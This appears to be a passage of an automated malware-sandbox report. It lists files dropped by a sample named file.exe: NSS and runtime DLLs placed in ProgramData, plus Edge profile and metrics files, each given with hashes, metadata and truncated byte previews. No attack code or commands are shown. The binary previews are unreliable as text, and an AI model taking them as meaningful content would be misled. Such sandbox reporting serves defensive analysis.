Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\19eef773-efed-4fda-8062-a6089d486fca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44710
Entropy (8bit):	6.095777761246218
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBKwuMhDO6vP6OqeDwjbEGlPrw4F6gcGoup1Xl3jVu:z/Ps+wsI7yOEW6Ke8chu3VlXr4CRo1
MD5:	161A9B14A088DF3CAC0827ABDA9C6A77
SHA1:	8D96F70D806D9C04D51B98AEBD2ABDD302F18B4B
SHA-256:	1534A10CE22F1EEF4ABBF44844894601D904B20E4CFB294DCADFB170BBBA146B
SHA-512:	5086E9817D1A88044F03BFBA0374F0519DC1891D52E327D8EEC9DBFBAABC52893F5BF9D2600F0181E22B5011CACFEEA955BFD15CAA55D8D3F5D5B1A45AEC5440
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\229e8aaa-cd51-4c0c-a28a-d89c7d41670e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45941
Entropy (8bit):	6.088365321120581
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5d9c+quZhDO6vP6OqeDwjbEGlPrw4F6gY65Dk+LCAoxGoup1Xl33:mMk1rT8H19ch6Ke8Y65LRoxhu3VlXr42
MD5:	9E6545FC15FB9DEEDE15AB8CF054BE96
SHA1:	A2565E89C5116A2CBEB3DA206738C1967B50CAD1
SHA-256:	FC884E2B7C06AC1DD258BF8D9D17F50D160456D0550AF04C0A7C1C96F49473A0
SHA-512:	161E092A8B584180142DD6BF0E7EA5307273542A7BA8E13ABC7C651F3ED553F70E90E3C0140F97EBBBF341286F29960E4D73B258E9E879B6743970689B4FBC90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\25c2205f-846d-44f2-9230-f862a0db9e3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.09603879923304
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB2wuMhDO6vP6OqeDwjn3wijgfFpscGoup1Xl3jVz6:z/Ps+wsI7ynEi6KeSchu3VlXr4CRo1
MD5:	775CFB1640228DA10CD5355484FCFAC8
SHA1:	E12CC66BF891912D46FD98068A3748FBDDCE91A9
SHA-256:	9CE2B31F95B503A0281B104C70FB6A1D9366DA6C3F84675D2A6AF5D73044D9E5
SHA-512:	C0DB32FC2682E75BDA03F8E342C5F801942DAD97FC32E2FBCD439F209E78ED4F8C2159878A297DF479330179931FDBAAB3CE21247D906A578D199DACA97603B3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\74dd3fd0-d2bf-4bfa-bb21-358cf1fd9ddc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.09603879923304
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB2wuMhDO6vP6OqeDwjn3wijgfFpscGoup1Xl3jVz6:z/Ps+wsI7ynEi6KeSchu3VlXr4CRo1
MD5:	775CFB1640228DA10CD5355484FCFAC8
SHA1:	E12CC66BF891912D46FD98068A3748FBDDCE91A9
SHA-256:	9CE2B31F95B503A0281B104C70FB6A1D9366DA6C3F84675D2A6AF5D73044D9E5
SHA-512:	C0DB32FC2682E75BDA03F8E342C5F801942DAD97FC32E2FBCD439F209E78ED4F8C2159878A297DF479330179931FDBAAB3CE21247D906A578D199DACA97603B3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\80fc5516-794b-412a-aaf8-da0753cf6fb8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45988
Entropy (8bit):	6.088122266187615
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5d9cEquZhDO6vP6OqeDwjbEGlPrw4F6gY65Dk+LCAoxGoup1Xl33:mMk1rT8H19cz6Ke8Y65LRoxhu3VlXr42
MD5:	86BC1B8BD2C4FA12E421CBE768CF2B3E
SHA1:	3045114AD1139C9F40D2E5B739EAF9410BC4DC93
SHA-256:	91823DD640D704783613038E2F83CF45090327D4F02C87FE1A2518D816C02FCA
SHA-512:	C5303B75F2A60E2092476723D6A44C62930DE20AC8C964105B165E367650D02891AE629035738711CFC478D5F6ED67EA8E8896CABB1F6F42E24C387509997C7C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8ab34f6c-e2d4-4433-b8ac-612dbb97c979.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46065
Entropy (8bit):	6.088076875250006
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5FocEquZhDO6vP6OqeDwjzEGlPrw4F6gY65Dk+LCAoxGoup1Xl33:mMk1rT8H9ocz6KeQY65LRoxhu3VlXr42
MD5:	37BFEE84715BBEBB103F6830F8666741
SHA1:	2D3B20114EFE5FBEC623B34DE357C097F1D0BF1C
SHA-256:	0DA7BAD1BB85BE1705B0F2257162F47F9B86031BBB805B9FD2B335EC26B58DF4
SHA-512:	77AE7B90326677C903967D494ED5FF4BED4EEB83A87A2328FC11D68A9BAB12A43A122AE48A41E9726EA438FA77C5106CEBA708FCD0CFE4585D936798CE154D40
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\99bd8f0b-c426-41dd-933c-f2cbbd6ca396.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46065
Entropy (8bit):	6.08807468841309
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5F9cEquZhDO6vP6OqeDwjzEGlPrw4F6gY65Dk+LCAoxGoup1Xl33:mMk1rT8H99cz6KeQY65LRoxhu3VlXr42
MD5:	EE173E8207A88811DD70ADD95D5275BF
SHA1:	6D57132F84CD0385C319D693DB2DC15E2275F0BD
SHA-256:	321AEB09210EDB3B2DBE5D3D02DBDCF02E9B033A98ED3C57B2D774F82978A6C8
SHA-512:	CD702E47833CADB0DC52D4CA77CE9B0500212E4FE66194816BD22FB196C38CF18A0D69B5B5B39AB9101B7BB5C16530E944852216409A175980DD1E1532E51DB7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\0b00206e-8b72-426e-a691-dcf183e52932.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6741005E-14CC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 2048.000000, slope 17753217332035315519916605440.000000
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.44379167794102564
Encrypted:	false
SSDEEP:	6144:3bKLxmTB9UfjgpuJxros9iqc7KtONaHO:VUfcuWK
MD5:	516485E43DFD4EC2182B6A60D8775E9D
SHA1:	3B77E84486B854B5DFD1D6A8FC407F67FB781F5A
SHA-256:	E3CC145B4B2ACB42C2F0C66309C8EEA62F883D28ED254218C88FE873D329225A
SHA-512:	0BD6E9DD0C960C372D6C20B3B7635CF8FA4184FF55A950EA263B0D42E57350EECC34AB5ABD8931A038282CE94291D1A51D0FDC5C066A5E3DF370BCE81A2ACD89
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vssaff20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2...............

